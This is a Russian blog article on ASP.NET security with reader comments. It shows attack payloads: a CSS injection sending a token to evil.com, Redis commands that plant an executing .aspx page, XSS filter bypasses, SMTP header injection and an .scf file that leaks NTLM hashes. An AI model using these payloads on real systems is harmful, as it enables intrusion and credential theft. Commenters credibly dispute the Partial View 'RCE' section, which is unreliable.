company_banner

Можно ли «хакнуть» ASP инфраструктуру?



    Как говорят специалисты по информационной безопасности «Ломают всё, всех и всегда». При этом, атаки на ASP.NET — вещь достаточно редкая. Поэтому всегда крайне любопытно узнавать про это что-то новое. Под катом рассказ специалиста отдела информационной безопасности Rambler Group Алексея Морозова о сильных и слабых сторонах данной технологии.

    Введение


    Сегодня ASP заслужило свою популярность как средство для создания средних и крупных проектов. И, как любое популярное решение, ASP.NET тоже представляет интерес для внешних исследователей безопасности, хакеров и тестировщиков.

    В данной статье рассматриваются возможные проблемы безопасности ASP.NET в различных версиях. Однако, следует отметить, что ASP сильно уступает по количеству решений тому же PHP, и это обусловлено многими факторами.

    В отличии от PHP использование ASP, как правило, значительно сложнее и затратнее (использование коммерческой версии IIS, среды разработки Visual Studio). До недавнего времени (появления ASP.NET Core), использование было возможно только под Windows и на веб-сервере IIS. Также сложнее процедура развертывания.

    ASP (Active Server Pages) – это технология компании Майкрософт для создания динамических страниц.

    Описание: данная технология дает возможность создавать HTML-страницы со вставками на языке Jscript (очень похож на JavaScript, но помимо клиентских скриптов имеет ряд возможностей по работе с операционной системой Windows и серверными вставками на ASP)

    Пример:

    <% @ Language = "JScript" %><%
      Response.Write("Hello World!");
    %>
    

    ASP.NET

    Следующим витком развития технологии стало создание ядра ASP на базе фреймворка .Net. В следствие чего ASP получил все возможности данного решения, а именно:

    • использование разных языков программирования (C#, Visual Basic.NET, J# и JScript .NET);
    • возросшая скорость по сравнению со скриптовыми технологиями, так как при первом обращении код компилируется и помещается в специальный кэш, и впоследствии только исполняется, не требуя затрат времени на парсинг, оптимизацию;
    • компилируемый код, позволяющий более качественно отлавливать ошибки, так сам процесс отладки становится эффективнее;
    • появление возможности кэширования страницы;
    • разделение представления от бизнес-логики.

    На базе решения ASP.NET были созданы последующие технологии, которые мы рассмотрим.

    ASP.NET Ajax – одно из расширений ASP.NET, позволяющее использовать Ajax для асинхронного обновления части контента.

    Пример:

    <asp:Button ID="Button1" runat="server" Text="Refresh" />
    
    <asp:UpdatePanel ID="UpdatePanel1" runat="server">
      <Triggers>
        <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" />
      </Triggers>
      <ContentTemplate>
        <span><%= DateTime.Now %></span>
      </ContentTemplate>
    </asp:UpdatePanel>
    

    ASP.NET Web Forms – новая эволюция технологии ASP, при которой происходит переход на компоненто–ориентированную модель построения приложений.

    Описание:

    Модель Web Forms базируется на трех основных концепциях: обратной передаче страниц, состоянии просмотра и серверных элементах управления. Каждый запрос HTTP, передаваемый веб-серверу и сопоставляемый со средой выполнения ASP.NET, проходит несколько стадий, в которых центральное место занимает обработка события обратной передачи (postback). Событие обратной передачи — главное действие, которое ожидает получить пользователь в результате обработки своего запроса. (например, клик по кнопке).

    Проще говоря, появляются традиционные элементы управления (контролы) и событийная модель разработки.

    Пример:

    Представление (файл aspx) – клиентская сторона.

    <%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" 
        Inherits="SamplePage" AutoEventWireup="true" %>
    <html>
    <head runat="server" >
       <title>Code-Behind Page Model</title>
    </head>
    <body>
      <form id="form1" runat="server">
        <div>
           <asp:Label id="Label1" 
             runat="server" Text="Label" >
          </asp:Label>
          <br />
          <asp:Button id="Button1" 
             runat="server" 
             onclick="Button1_Click" 
             Text="Button" >
           </asp:Button>
        </div>
      </form>
    </body>
    </html>
    
    

    Обработка логики (файл cs (если используется C#)) — серверная сторона.

    using System;
    using System.Web;
    using System.Web.UI;
    using System.Web.UI.WebControls;
    public partial class SamplePage : System.Web.UI.Page
    {
        protected void Button1_Click(object sender, EventArgs e)
        {
            Label1.Text = "Clicked at " + DateTime.Now.ToString();
        }
    }
    

    ASP.NET Web API – ещё одно расширение, позволяющее создавать сервисы API для более удобной разработки и взаимодействия с приложением.

    Пример:

    [HttpDelete("{id}")]
    public IActionResult Delete(long id)
    {
        var todo = _context.TodoItems.Find(id);
        if (todo == null)
        {
            return NotFound();
        }
    
        _context.TodoItems.Remove(todo);
        _context.SaveChanges();
        return NoContent();
    }
    

    ASP.NET MVC – следующий этап в развитии технологии происходит после появления разделения бизнес логики на три составляющие паттерна MVC (Model-View-Controller). Так же внедряется движок razor и появляется возможность самостоятельно кастомизировать управляемые элементы сайта, что было сильно затруднено при Web Forms.

    Преимущества:

    • облегчается управление сложными структурами путем разделения приложения на модель, представление и контроллер;
    • не используется состояние просмотра и серверные формы. Это делает платформу MVC идеальной для разработчиков, которым необходим полный контроль над поведением приложения;
    • схема основного контроллера, при которой запросы веб-приложения обрабатываются через один контроллер. Это позволяет создавать приложения, поддерживающие расширенную инфраструктуру маршрутизации;
    • хорошо подходит для веб-приложений, поддерживаемых крупными коллективами разработчиков.

    Пример:

    Представление (View)

    @{
        Layout = null;
    }
     
    <!DOCTYPE html>
     
    <html>
    <head>
        <meta name="viewport" content="width=device-width" />
        <title>SomeView</title>
    </head>
    <body>
        <div>
            <h2>@ViewBag.Message</h2>
        </div>
    </body>
    </html>
    

    Модель (Model)

    using System;
    using System.ComponentModel;
    using System.ComponentModel.DataAnnotations;
    
    namespace MvcModels.Models
    {
        public partial class User
        {
            public int UserId { get; set; }
    
            [DisplayName("Имя")]
            public string FirstName { get; set; }
    
            [DisplayName("Фамилия")]
            public string LastName { get; set; }
    
            [DisplayName("Дата рождения")]
            [DataType(DataType.Date)]
            public DateTime BirthDate { get; set; }
        }
    }
    
    

    Контроллер (controller)

    using System.Web.Mvc;
    
    namespace NonCompiledMvc.Controllers
    {
        public class HomeController : Controller
        {
            public ActionResult Index()
            {
                return View((object)"It Works!");
            }
        }
    }
    

    ASP.NET Core – следующий рывок развития ASP.NET становится кроссплатформенным, с поддержкой C# 7.0.
    Технология Сильные стороны Слабые стороны
    Active Server Pages, ASP Общая цель Интерпретируется во время выполнения, поддерживает «спагетти код»
    ASP.NET Web Forms 1.0/1.1 Скомпилированный, UI, поддерживает ООП Тяжелый по пропускной способности, сложный HTML, нетестируемый
    ASP.NET Web Forms 2.0 - -
    ASP.NET Ajax Внедрение Ajax Появление неоправданной сложности, отсутствие гибкости
    ASP.NET Web Forms 3.5-4.0 - -
    ASP.NET MVC 1.0-5.0 Полностью меняется модель разработки. Появляется гибкость Отсутствие кроссплатформенности. Невозможно компилировать на лету
    ASP.NET Core Появляется кроссплатформенность. Открытые исходники -

    Аутентификация в ASP.NET


    Есть три вида аутентификации в ASP.NET MVC, которые значительно отличаются друг от друга.

    • No Authentication: ASP.NET Identity и встроенная система аутентификации отсутствует;
    • Individual User Accounts: проект по умолчанию включает систему ASP.NET Identity, которая позволяет авторизовать пользователей как внутри приложения, так и с помощью таких внешних сервисов, как google, twitter и т.д.
    • Organizational Accounts: подходит для сайтов и веб-приложений отдельных компаний и организаций;
    • Windows Authentication: система аутентификации для сетей intranet с помощью учетных записей Windows.



    ASP.NET с точки зрения взлома


    Как и любая технология ASP.NET подвергался взлому. Ниже будут описаны наиболее популярные исследования безопасности, в том числе не только в самом ASP, но и в совокупности с инфраструктурой.

    Статистика CVE



    Как видно из таблицы статистика по находкам очень немногочисленна. Это связано с тем, что ASP.NET требует хороших знаний, чтобы исследовать его детально. А также ресурсов на нем значительно меньше, чем на том же PHP.

    Использование null-байта для bypass’а авторизации

    CVE: CVE-2011-3416
    Описание: имеется возможность обойти авторизацию.

    Алгоритм:

    1. Регистрируется новый аккаунт с уже существующим логином;
    2. При регистрации добавляем null-byte и дополнительные символы (admin%0012sd);
    3. Таким образом проверка на уникальность будет пройдена. Создастся новый пользователь “admin” с той же ролью, но с новым паролем.

    Пример уязвимого кода:

    If (IsPostBack)
    {
    	String name = Request.Form[“name”];
    	String password = Request.Form[“password”];
    	If (name != null && password != null
    		&& FormsAuthentication.Authenticate(name, password))
    {
          FormsAuthentication.SetAuthCookie(name, false);
          Response.Redirect(Request[“ReturnUrl”] ?? “/”);
    }
    Else
    {
          ModelState.AddModeError(“fail”, “Логинь или пароль неправильны.” +
    	“Пожалуйста введите данные заново”);
    }
    }
    

    Proof-of-Concept:


    Решение: данная ошибка была устранена в .Net 3.5

    Удаленная отладка

    Описание: поскольку ASP.NET – это компилируемое приложение, у него есть определенные особенности отладки. Компания Microsoft позволяет использовать удаленный отладчик для работы над debug-версией приложения.

    Если данный порт открыт в Интернете и защищен простым паролем или пароль отсутствует вовсе, то имеется возможность подцепиться отладчиком. Далее это позволит влиять на приложение в режиме DEBUG. В том числе вытаскивать пароли, изменять логику, проводить трассировку и др.

    Proof-of-Concept:



    Решение: использовать надежный пароль и не выставлять наружу сервис для отладки.

    SMTP Header Injection

    Описание: необходимо вспомнить немного спецификацию SMTP протокола.
    Пример того, как выглядит обычный SMTP-пакет простого письма:

    Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST)
    Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST)
    From: rth@bieberdorf.edu (R.T. Hood)
    To: tmh@immense-isp.com
    Date: Tue, Mar 18 1997 14:36:14 PST
    Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
    X-Mailer: Loris v2.32
    и Lunch today?
    

    Очевидно, что при отсутствии валидации значения, попадающего в заголовок “To”, имеется возможность перенаправить письмо другому адресату. Но это было бы слишком просто и очевидно, поэтому валидация происходит уже на уровне .Net.

    Однако, если внедрить новый заголовок Reply-To – адрес для ответов, то многие формы такие как «Забытый пароль», часто берут адрес отправки именно из него, тем самым, достаточно внедрить символы возврата каретки и перевода строки и получить рабочую нагрузку.

    ...
    From: rth@bieberdorf.edu (R.T. Hood)
    To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru
    Date: Tue, Mar 18 1997 14:36:14 PST
    Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
    ...
    В итоге будет внедрен новый заголовок:
    From: rth@bieberdorf.edu (R.T. Hood)
    To: tmh@immense-isp.com
    Reply-To: hack@hack.ru
    Date: Tue, Mar 18 1997 14:36:14 PST
    Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
    

    Пример уязвимого кода:

    MailAddress from = new MailAddress(“******@mail.ru", “test");
    MailAddress to = new MailAddress(email);
    MailMessage m = new MailMessage(from, to);
    m.Subject = "Тест";
    m.Body = "Письмо-тест";
    m.Headers.Add(“To", email);
    m.IsBodyHtml = true;
    SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587);
    smtp.Credentials = new NetworkCredential(“******@mail.ru", “******");
    smtp.EnableSsl = true;
    smtp.Send(m);
    

    Proof-of-Concept:


    Решение: не писать замысловатый код, использовать свежий .Net

    RCE в Partial View

    Описание: в терминологии ASP.NET MVC есть два важных понятия:
    View – это представление, то что видит пользователь. Как уже отмечалось, благодаря razor или web forms движкам, имеется возможность внедрять серверный код.
    Partial View – частичное представление. Это часть содержимого View, вынесенного в отдельный файл для удобства.

    Необходимо наличие некоторого поля в Partial View, которое рендерится в html, и в которое имеется возможность занести опасную нагрузку.

    Пример нагрузки: получение пароля текущего пользователя

    @((Account.Models.User)Session[“User”].Password

    В результате попадания во View, этот код будет выполнен. Так как директивы будут распознаны как движок razor. На рисунке ниже видно, как это происходит.

    Алгоритм:

    1. Пользователь делает запрос в контроллер;
    2. Контроллер отрисовывает View;
    3. Внутри View встречается Partial View, после чего снова происходит запрос на контроллер, который отвечает за отрисовку частичного представления;
    4. Готовый Partial View возвращается в основной, а основной – пользователю.



    Proof-of-Concept:



    Упрощенный пример:

    @{ Html.RenderPartial("Code", html); }
    Controller - 
    public ActionResult Index(string html = "")
    {
    	ViewBag.Html = html;
    	return View();
    }
    Partial view – Частичное представление
    @model string
    @{
    	Layout = null;
    }
    @Model
    Index view – Главное представление
    @{
    	string html = ViewBag.Html.ToString();
    }
    @{ Html.RenderPartial("Code", html); }
    

    Proof-of-Concept:



    P.S. Попытка воспроизвести не увенчается успехом.

    CSRF & CSS Injection

    Данные уязвимости подразумевают под собой взаимодействие с пользователем.

    CSRF (Сross Site Request Forgery) – межсайтовая подделка запроса.

    Алгоритм:

    1. Пользователь приходит на сайт хакера;
    2. Заполняет поля формы;
    3. Данные с формы отправляются на другой сайт от имени пользователя и с его ролью;
    4. Таким образом, пользователь, сам о том не догадываясь, выполнил какие-то действия на другом ресурсе.

    Для защиты от данного типа атак были придуманы CSRF-токены, как правило, это строка, содержащая последовательность символов.

    Была найдена уязвимость, позволяющая обходить защиту от CSRF. Необходимо было просто в качестве токена использовать строку много меньше исходной.

    Обычный токен

    <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />

    Уязвимый токен

    <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />

    Нагрузка для кражи токена через CSS (не XSS):
    В случае, когда не помогает усечение токена, можно прибегнуть к атаке CSS-Injection, которая позволяет украсть токен со страницы и отрисовать его на своем ресурсе. Благодаря этому пользователю отдается настоящий токен, и от его имени совершается необходимый запрос на сайте.

    Пример нагрузки:

    %0A{}*{color:red;} - Test
    <div id ="s"> secret <style type ="text/css"> 
    div #s:: -webkit-scrollbar-track-piece:vertical:increment {
     	background: red url(//evil.com?s); 
    }
    * {-o-link:'javascript:alert(1)';-o-link-source: current;}
    

    XXE в DocX

    Описание: ASP.NET так же как и другие технологии использует многие сторонние решения. В одном из таких решений, интегрируемых в ASP.NET была найдена уязвимость XXE (XML External Entities), которая заключается в ошибке парсера xml и возможности подключать внешние сущности, которые могут содержать критичные данные. Подробнее об XXE можно почитать на страницах OWASP.

    В данном случае компонент отвечает за загрузку и парсинг docx (Microsoft World) файлов. Так как любой документ Office – это на самом деле набор xml файлов, то при парсинге может быть проведена атака ХХЕ.

    Алгоритм:

    1. Распаковывается офисный документ;
    2. Внедряется нагрузка;
    3. Запаковывается обратно как docx;
    4. Заливается на сервер для обработки, где используется уязвимый компонент.

    Proof-of-Concept:



    RCE через Redis

    Описание: помимо уязвимых компонентов, взлом ASP.NET можно комбинировать и с уязвимыми технологиями. Например, в системе хранения данных в оперативной памяти Redis известна давняя уязвимость, позволяющая выполнять произвольный код на стороне сервера. Далее будет рассмотрена данная атака применительно к ASP.

    Алгоритм:

    1. Подключение к Redis. Важно, чтобы он работал на том же сервере, что и веб-сервер;
    2. Выполняя следующий листинг и используя веб-сервер для просмотра полученной страницы будет выполнен произвольный код. В данном случае вызов калькулятора:

    config set dir DIRNAME
    config  set dbfilename asd.aspx
    flushall
    set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>'
    save
    

    Proof-of-Concept:



    XSS фильтр ByPass

    Внутри ASP.NET предусмотрен свой механизм фильтрации данных от атак класса XSS. При попытке передать запрещенные символы или сигнатуру, срабатывает следующая защита:



    Однако существует множество способов обойти эту защиту. Вот некоторые из них:

    • %EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E
    • <-/script>alert(1);
    • </XSS/*-*/STYLE=xss:e/**/xpression (alert('XSS'))>
    • %uff1cscript%uff1ealert(‘XSS’);%uff1c/script%uff1e

    В последних версиях данные способы уже не работают, однако как уже упоминалось, ASP.NET технология создана преимущественно для крупных и долгих проектов, поэтому еще много ресурсов могут быть подвержены данной уязвимости.

    Shell Command File

    Описание: не так давно прогремела уязвимость, связанная с браузером Google Chrome, суть которой заключается в хищении NTLM-хэша пользователя.

    Алгоритм:

    1) Подготавливается файл с расширением scf и следующим содержимым

    [Shell]
    IconFile=\\***.**.*.***\icon
    

    где вместо звездочек ip – адрес сервера smb злоумышленника;

    2) При попадании на компьютер пользователя этот файл даже не требует открытия. Достаточно, чтобы пользователь просто зашёл в ту же папку, где лежит этот файл. Как только это произойдет, на SMB-сервер отправится пакет с хэшем;

    3) Таким образом взлом инфраструктуры можно так же комбинировать и с простыми уязвимостями такими как Open Redirect.

    Proof-of-Concept:




    Спасибо за внимание! Делитесь своим опытом и оставляйте вопросы Алексею Морозову (aka SoolFaa) в комментариях к данной статье.
    Rambler Group 168,11
    Компания
    Поделиться публикацией
    Похожие публикации
    Комментарии 31
      +4
      Решение: использовать надежный пароль и не выставлять наружу сервис для отладки.

      Достаточно не отлаживать ничего на проде. Напомню, что удаленный отладчик — это часть Visual Studio, и по умолчанию на серверах его нет!

        +7
        ASP.NET Web Forms – новая эволюция технологии ASP, при которой происходит переход на компоненто–ориентированную модель построения приложений.
        новая
        2002-ой год

        Заканчивающаяся 2010-ым годом статистика CVE тоже как-то не блещет актуальностью

          +1
          Спасибо за уточнение. Здесь логический я имел ввиду новое по сравнению с предыдущим.
            +4
            тоже не поняла, зачем автор так глубоко закопался в прошлое. выходит, статья частично неактуальна и частично нерелевантна. заходя в статью про варианты хаков технологии, как-то не ожидаешь увидеть историческую сводку по развитию от царя гороха.
              +3
              В целом Вы Правы. Но ASP это не PHP. Многие вещи, написанные на нем живут годы, а некоторые и десятилетия. Например в моей карьере разработчика я часто встречался с ASP.NET WebForms, когда во всю уже был MVC, а сейчас активно занимает позиции Core. Но и Web Forms живет до сих пор.
            +3

            Про Partial View написано что-то совсем непонятное. Каким образом хакер собрался добавлять туда уязвимый код, и почему считается что это сделать проще чем добавить код в основной View? Если что, эти файлы лежат в соседних папочках.


            И да, приведенный пример — @Model — это ничуть не RCE, потому что содержимое Model просто выводится в выходной поток, а не исполняется. Более того, так даже XSS не получить, потому что строки при выводе всегда экранируются...

              +3

              Конечно, невнятное, вьюхи берутся только из мест, возвращённых view locator-ом, а не компиляются из произвольных откуда-то взявшихся строк. Потому и " P.S. Попытка воспроизвести не увенчается успехом. ".

                0
                Начну с обратного… Разумеется вывод @Model — это опять же просто игровой сценарий, но нельзя вывести содержимое свойства любого объекта просто на клиентской стороне. Так или иначе должен быть Server-Side. Поэтому, вместо этой нагрузки, можно было бы и тот же калькулятор запускать.
                По поводу PartialView и View. В этом вся и проблема. Если бы нагрузку можно было бы прокинуть в PartialView так же легко (причем не забывать, что ещё и пре-процессинг включиться, который надо обойти) — это уже было бы CVE с High уровнем. А так, этот вектор так же из реальной жизни взят, но упрощён для понимания, что не только эксплоитами возможно выполнить удаленный код. Спасибо за вопрос.
                  +1
                  Я вас не понимаю.

                  Что именно вы называете нагрузкой?
                  Куда ее легче прокинуть — во View или PartialView? И почему?
                  Какой именно пре-процессинг мешает выполнению нагрузки?
                  Почему RCE имеет уровень отличный от High?
                    0
                    Нагрузка (Payload) — Это тот сценарий (код), который мы хотим выполнить в контексте RCE.
                    2) Рассмотрим пример. Мы кладём модель во вьюху (ViewModel), полученную от контроллера, далее мы выполняем какие то действия и у нас отрисовывается PartialView, вероятность того, что туда уйдет компилируемый user-input очень мала. Поэтому во View — это просто не будет работать. А через Partial-View должен пройти input.
                    3) Здесь имеется ввиду штатные механизмы ASP, не дадут пробросить какую Вам захочется нагрузку. И будет ругаться фильтр.
                    4) Не все RCE обязательно уровнем High. Если мы вспомним CVSS 3. Там есть параметр «Сложность атаки (AC)», что заметно уменьшает оценку уязвимости.
                    5) И ещё от себя — это не гайд и не мануал, как взломать АСП, это описание некоторых проблем, которые могут возникнуть. Поэтому в статье нет и не предполагается точных алгоритмов развития атаки. Спасибо.
                      +3
                      Откуда берется нагрузка? Она приходит с пользовательским вводом или уже лежит в cshtml-файле?

                      Если приходит с пользовательским вводом, то как она может выполниться? Насколько я знаю, у Razor нет никакого аналога eval.

                      Если второе — то откуда она там взялась?
                        0
                        Нагрузка передается от View -> в PartialView. Во View как и обычно.
                        А вот почему так происходит, это уже поле для исследований. Нагрузка попадает не в razor, а в Server-Side и вариантов может быть масса. Надеюсь, теперь вам стало понятно. Спасибо.
                          +4
                          Нет, мне ничего не ясно. Что такое Server-Side и почему Razor ему противопоставляется?

                          Каким образом Razor исполняет нагрузку? Насколько я знаю, из коробки у него нет никаких аналогов eval.
                    +1

                    Про вывод @Model — в статье какой-то бред. Какой калькулятор, какая нагрузка? Это просто вывод строки, только зачем-то очень косвенный.


                    То же самое, что написать @ViewBag.Html в основной вьюшке. Пример из статьи просто выводит строку


                    @((Account.Models.User)Session[“User”].Password 

                    в html. Как строку, не выполняя ее как код.


                    Возможность получить от пользователя строку и вывести ее на экран — это уязвимость? :)


                    Что происходит на видео, и почему там выводит admin — загадка. Было бы неплохо увидеть реальную демострацию уязвимости, а не видео + скромное "Попытка воспроизвести не увенчается успехом".


                    Может быть там просто во вьюшке admin написано. Или даже @((Account.Models.User)Session[“User”].Password. А разработчик после замены на @Model забыл Save нажать.

                      0
                      Очень странный комментарий. Какая разница что сделать на серверной стороне? Вывести содержимое модели или вывести содержимое ViewBag? Я могу вывести @((2 + 2).ToString()).
                        +3
                        В каком смысле «какая разница что сделать на серверной стороне?».

                        Если на серверной строне написать код для вывода содержимого — будет выведено содержимое модели, как строка. Если на серверной строне написать код для вывода свойства из View Bag — будет выведено значение свойства из View Bag.

                        Вы можете вывести результат выполнения @((2 + 2).ToString()) если вы — разработчик и вы прямо вписали этот код в страницу Razor, а не спустили в виде модели. Тогда этот код выполнится и отрендерит на страницу строку «4». И это не уязвимость.

                        В примере из поста — вы, как атакующий передаете на сервер строку "@((2 + 2).ToString())" и получаете в выходном html строку "@((2 + 2).ToString())". Что строка "@((2 + 2).ToString())", что «qqq» — без разницы, она выводится как статический контент, а не выполняется как код. И это тоже не уязвимость.

                        При этом на видео, якобы, возникает ситуация, когда атакующий передает на сервер строку "@((2 + 2).ToString())", и получает на странице результат выполнения ее как кода на C#, «4». И это было бы уязвимостью, если бы такая ситуация реально возникала. Но она не возникает. Ни при прямом выводе @model, ни при косвенном, через PartialView.

                        По сути, уязвимость на видео — или фейк, или ошибка того, кто видео записал — несохраненный файл, например. Я могу точно такое же видео записать, просто забыв нажать Ctrl+S один раз :) Но это не означает, что уязвимость есть.

                        Вы автор видео из статьи? Вы можете привести минимальный пример для воспроизведения уязвимости? Если вы не можете привести пример, и не можете даже теоретически обосновать механизм — указать, в каком именно месте и на каком шаге строка будет выполнена как код — то как вы можете утверждать, что уязвимость вообще имеет место?
                          0
                          Теперь я понял. В чем Ваша претензия. Это не проблема Майкрософта. Этот кейс — взят из жизни из реального проекта. Данные из VIEW попадали в контроллер(а точнее в Action), который собирал Partial View и возвращал назад, это хорошо видно из картинки. Обратите внимание на алгоритм:
                          Алгоритм:

                          Пользователь делает запрос в контроллер;
                          Контроллер отрисовывает View;
                          Внутри View встречается Partial View, после чего снова происходит запрос на контроллер, который отвечает за отрисовку частичного представления;
                          Готовый Partial View возвращается в основной, а основной – пользователю.


                          Не воспринимайте эту статью как мануал по зеродеям в ASP. Любой из предложенных пунктов можно обыграть, что ничего работать не будет или будет. Я говорю о том, можно ли хакнуть ASP, а не как это сделать. И основная мысль, это, что системы ломаются всегда, но намного чаще, их можно сломать через ошибки в человеческой логике.

                          И обратите внимание на название статьи «Можно ли «хакнуть» ASP инфраструктуру?» а не Можно ли «хакнуть» ASP.NET?
                            0
                            А по самому кейсу. Разметку Razor ренедрили специально и отдавали во вьюху. Делали это чуваки для кастомизации стилей, но получился такой кейс.
                              +2

                              А, ну это многое объясняет. Если написать на сервере код, который выполняет user input как код на C# — то, внезапно, user input можно будет выполнить как код на C#. Так и стоило бы написать прямо в статье, а упоминания Partial — выбросить как не имеющие отношения к уязвимости.

                              +2

                              Я и не воспринимают эту статью как мануал по зеродеям. Пока я воспринимаю этот кусок статьи как "разработчику показалось".


                              Вот что реально происходит:


                              1. Пользователь делает запрос в контроллер, отдает строку "@..."
                              2. Контроллер отрисовывает View, спускает ему строку "@..."
                              3. Внутри View встречается Partial View, после чего снова происходит запрос на контроллер, который отвечает за отрисовку частичного представления. В качестве параметра контроллеру отдается строка "@..."
                              4. Partial View отрисовывает строку "@..."
                              5. Готовый Partial View возвращается в основной. Основной отрисовывает результат рендера Partial — строку "@...".
                              6. Пользователь видит на экране строку "@...".

                              При этом в видео видно, что пользователь получает на экране не строку "@...", а "admin". В какой момент, по вашему мнению, строка вида "@..." выполняется и превращается в "admin"?


                              Я же не предлагаю обсудить "обыгрывание пунктов" или "ошибки в человеческой логике". Вы(?) в статье заявили, что имеет место вот такой-то эффект. Я утверждаю, что такого эффекта нет, код не выполняется, и узявимости (не узявимости в asp.net, а узявимости в конкретном приведенном вами коде) нет.


                              Ответ, которого я бы ожидал для подтверждения существования уязвимости (в примере из статьи, не в asp.net) — это код, который можно было бы скопировать и запустить. Который делал бы то, что видно на видео — хоть как-то выполнял переданный пользователем код. А не мутного "невоспроизводимого" видео видео без исходников. У вас есть такой пример? Или только домыслы?

                                +1
                                Так причем тут ASP.Net? Эта уязвимость из разряда «сам себе яму выкапал», а уже чем, лопатой или экскаватором неважно.
                                  0
                                  А причем тут ASP.NET?! Я не говорил о том, как взломать ASP.NET, я говорил о том, какие могут быть (и были) проблемы с использованием ASP.NET. Основная мысль, развеять миф, что если снаружи выглядит достаточно секьюрно и безопасно, всегда найдется слабое место. И если рассматривать статью с этой позиции, то все становится ясно и понятно. Я не собирался писать мануалы по взлому, с которыми можно идти в интернет и крушить проекты. С конкретными ресёрчами я бы пришел не на хабру а hackerone. Поэтому я не вижу претензий публики на тему: «А если сделать идеально, то уязвимости — нет» — разумеется это так. Это не security мануал по безопасной разработке, это выборка интересных, на мой взгляд, кейсов, встречающихся на практике и упрощенных для понимания, которые до бесконечности можно обыгрывать. Я согласен, что и XXE и SMTP Header Injection и т.д., это целые вектора уязвимостей разных технологий, а не только ASP. В том числе по OWASP'у.
                      +4
                      m.Headers.Add(“To", email);

                      Где вы вообще такое задание адресата видели? у MailMessage есть специальное поле To, которым все и пользуются. Собственно, вы УЖЕ выше передали нормальный адрес в конструкторе, а теперь зачем-то руками лезете в заголовки.

                        +2
                        Разумеется, Вы правы. Это сценарий притянутый «за уши» — как можно манипулировать SMTP заголовками в контексте приложения — это не проблема Майкрософта или бага в продукте ASP — это ошибка разработчиков и логики (кейс взят из реальной жизни).
                        +2

                        Что же до "XSS фильтр ByPass" — то Razor сам по себе является куда более сильной защитой от XSS чем любые фильтры основанные на поиске подозрительных общих подстрок запроса и ответа...

                          +4
                          Простите за прямоту, но большей дичи про .NET Security я еще не читал, начиная от школолольной терминологии («хакнуть ASP инфраструктуру», «с точки зрения взлома», я вообще думал безопасники в Рамблере оперируют понятиями модели угроз), упоминания Active Server Pages (это как в статье про JavaScript рассказывать про Java), простигосподи сравнение с PHP тут каким-то боком вылезло, какой-то безнадежно устаревшей и неполной(!) статистики CVE в платформе. И с этого мы резко перескакиваем к SMTP Header Injection, CSS Injection, XXE в docx, Redis, SMB Hijacking, которые к .NET имеют ровно столько же отношения, что и к другой платформе.

                          Еще есть путаница в понятиях «устаревшие технологии» и «уязвимые технологии». Все найденные уязвимости в .NET платформе исправляются сразу во всех фреймворках и если вы используете ASP .NET WebForms к вам это исправление прилетит с обновлениями Windows (автоматически, главное не отключить вручную). Т.е. использовать WebForms ничем не хуже ASP .NET Core c точки зрения безопасности платформы. Исключение составляют конфигурации по умолчанию, они часто исправляются в новых версиях фреймворка, чтобы поддерживать обратную совместимость (пример, XML парсеры уязвимые к XXE в дефолтных конфигурациях до FW 4.5).

                          Если вам интересна тема именно .NET Security, то я бы порекомендовал потратить время на чтение “Application Security in .NET Succinctly ” by Stan Drapkin и просмотр докладов по безопасности с DotNext и PDUG (VladimirKochetkov делал много хороших и там и там).
                            +2
                            Небольшая поправка: все-таки у WebForms есть «родовая» уязвимость которой нет в WebPages (Razor) — отсутствие экранирования у Literal по умолчанию.
                              0
                              Да, и если правильно помню Label, Checkbox, RadioButton и подобное тоже не санитизируют отображаемые значения. Об этом приходится помнить, но формально это не уязвимость, а особенность реализации:) Исправление этого может сломать существующие проекты после автообновления, поэтому это поведение не меняют, так же как и дефолтные значения/дефолтное поведение других классов.
                              0
                              Спасибо за ссылку на Application Security in .NET Succinctly!
                              +1
                              Описание: данная технология дает возможность создавать HTML-страницы со вставками на языке Jscript (очень похож на JavaScript, но помимо клиентских скриптов имеет ряд возможностей по работе с операционной системой Windows и серверными вставками на ASP)

                              Вы забыли упомянуть VBScript, который является в классическом ASP языком по умолчанию. По собственному опыту могу сказать, что большинство проектов на классическом ASP используют VBScript (за всю свою карьеру я работал лишь в одной компании, где использовался JScript).

                              Также стоит отметить, что в классическом ASP можно использовать и другие скриптовые языки (например, PerlScript), если установить соответствующие интерпретаторы.
                                +2
                                Такой ахинеи давно не было на хабре.

                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                Самое читаемое